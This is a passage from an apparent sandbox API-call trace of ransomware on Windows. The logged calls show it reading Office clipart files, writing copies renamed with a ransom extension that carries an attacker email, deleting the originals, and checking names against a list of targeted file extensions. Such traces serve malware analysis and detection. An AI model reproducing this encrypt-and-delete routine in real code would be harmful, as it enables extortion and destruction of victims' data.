lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.405] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.405] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.405] GetLastError () returned 0x0 [0162.405] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5b04, lpOverlapped=0x0) returned 1 [0162.407] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5b10, lpOverlapped=0x0) returned 1 [0162.408] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.408] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.408] SetEndOfFile (hFile=0x30c) returned 1 [0162.408] CloseHandle (hObject=0x30c) returned 1 [0162.409] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.409] SetEndOfFile (hFile=0x360) returned 1 [0162.410] CloseHandle (hObject=0x360) returned 1 [0162.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0162.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.410] lstrlenW (lpString=".doc") returned 4 [0162.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.410] lstrlenW (lpString=".docx") returned 5 [0162.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.410] lstrlenW (lpString=".pdf") returned 4 [0162.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.410] lstrlenW (lpString=".xls") returned 4 [0162.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.410] lstrlenW (lpString=".xlsx") returned 5 [0162.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.411] lstrlenW (lpString=".ppt") returned 4 [0162.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".zip") returned 4 [0162.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.411] lstrlenW (lpString=".rar") returned 4 [0162.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".bz2") returned 4 [0162.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".7z") returned 3 [0162.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".dbf") returned 4 [0162.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".1cd") returned 4 [0162.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".jpg") returned 4 [0162.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".doc") returned 4 [0162.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".docx") returned 5 [0162.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.411] lstrlenW (lpString=".pdf") returned 4 [0162.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".xls") returned 4 [0162.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.411] lstrlenW (lpString=".xlsx") returned 5 [0162.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.411] lstrlenW (lpString=".ppt") returned 4 [0162.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".zip") returned 4 [0162.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.411] lstrlenW (lpString=".rar") returned 4 [0162.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".bz2") returned 4 [0162.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString=".7z") returned 3 [0162.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".dbf") returned 4 [0162.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.411] lstrlenW (lpString=".1cd") returned 4 [0162.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0162.412] lstrlenW (lpString=".jpg") returned 4 [0162.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.412] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.412] lstrlenW (lpString="HM00114_.WMF") returned 12 [0162.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.454] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22116) returned 1 [0162.454] CloseHandle (hObject=0x380) returned 1 [0162.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0162.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.465] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.465] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.479] GetLastError () returned 0x0 [0162.479] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5664, lpOverlapped=0x0) returned 1 [0162.486] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5670, lpOverlapped=0x0) returned 1 [0162.487] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.487] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.487] SetEndOfFile (hFile=0x38c) returned 1 [0162.487] CloseHandle (hObject=0x38c) returned 1 [0162.488] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.488] SetEndOfFile (hFile=0x380) returned 1 [0162.489] CloseHandle (hObject=0x380) returned 1 [0162.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.490] lstrlenW (lpString=".doc") returned 4 [0162.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString=".docx") returned 5 [0162.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.490] lstrlenW (lpString=".pdf") returned 4 [0162.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString=".xls") returned 4 [0162.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.490] lstrlenW (lpString=".xlsx") returned 5 [0162.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.490] lstrlenW (lpString=".ppt") returned 4 [0162.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.490] lstrlenW (lpString=".zip") returned 4 [0162.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.490] lstrlenW (lpString=".rar") returned 4 [0162.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString=".bz2") returned 4 [0162.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString=".7z") returned 3 [0162.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.490] lstrlenW (lpString=".dbf") returned 4 [0162.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.490] lstrlenW (lpString=".1cd") returned 4 [0162.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".jpg") returned 4 [0162.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".doc") returned 4 [0162.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString=".docx") returned 5 [0162.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.491] lstrlenW (lpString=".pdf") returned 4 [0162.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString=".xls") returned 4 [0162.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.491] lstrlenW (lpString=".xlsx") returned 5 [0162.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.491] lstrlenW (lpString=".ppt") returned 4 [0162.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".zip") returned 4 [0162.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.491] lstrlenW (lpString=".rar") returned 4 [0162.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString=".bz2") returned 4 [0162.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString=".7z") returned 3 [0162.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".dbf") returned 4 [0162.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".1cd") returned 4 [0162.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0162.491] lstrlenW (lpString=".jpg") returned 4 [0162.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.491] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0162.491] lstrlenW (lpString="J0075478.GIF") returned 12 [0162.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.492] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1220) returned 1 [0162.492] CloseHandle (hObject=0x380) returned 1 [0162.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0162.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.492] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.492] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.493] GetLastError () returned 0x0 [0162.493] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4c4, lpOverlapped=0x0) returned 1 [0162.494] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4d0, lpOverlapped=0x0) returned 1 [0162.494] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.495] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.495] SetEndOfFile (hFile=0x38c) returned 1 [0162.495] CloseHandle (hObject=0x38c) returned 1 [0162.495] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.496] SetEndOfFile (hFile=0x380) returned 1 [0162.496] CloseHandle (hObject=0x380) returned 1 [0162.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString=".doc") returned 4 [0162.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.497] lstrlenW (lpString=".docx") returned 5 [0162.497] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0162.497] lstrlenW (lpString=".pdf") returned 4 [0162.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString=".xls") returned 4 [0162.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString=".xlsx") returned 5 [0162.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0162.497] lstrlenW (lpString=".ppt") returned 4 [0162.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString=".zip") returned 4 [0162.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString=".rar") returned 4 [0162.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString=".bz2") returned 4 [0162.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.497] lstrlenW (lpString=".7z") returned 3 [0162.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString=".dbf") returned 4 [0162.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString=".1cd") returned 4 [0162.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString=".jpg") returned 4 [0162.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.498] lstrlenW (lpString=".doc") returned 4 [0162.498] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0162.498] lstrlenW (lpString=".docx") returned 5 [0162.498] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0162.498] lstrlenW (lpString=".pdf") returned 4 [0162.498] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0162.498] lstrlenW (lpString=".xls") returned 4 [0162.498] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0162.498] lstrlenW (lpString=".xlsx") returned 5 [0162.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0162.498] lstrlenW (lpString=".ppt") returned 4 [0162.498] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0162.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.498] lstrlenW (lpString=".zip") returned 4 [0162.498] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0162.498] lstrlenW (lpString=".rar") returned 4 [0162.498] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0162.498] lstrlenW (lpString=".bz2") returned 4 [0162.498] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0162.498] lstrlenW (lpString=".7z") returned 3 [0162.498] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0162.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.498] lstrlenW (lpString=".dbf") returned 4 [0162.498] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0162.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.498] lstrlenW (lpString=".1cd") returned 4 [0162.498] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0162.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0162.498] lstrlenW (lpString=".jpg") returned 4 [0162.498] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0162.498] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.498] lstrlenW (lpString="J0086384.WMF") returned 12 [0162.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.499] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9734) returned 1 [0162.499] CloseHandle (hObject=0x380) returned 1 [0162.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0162.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.499] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.499] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: 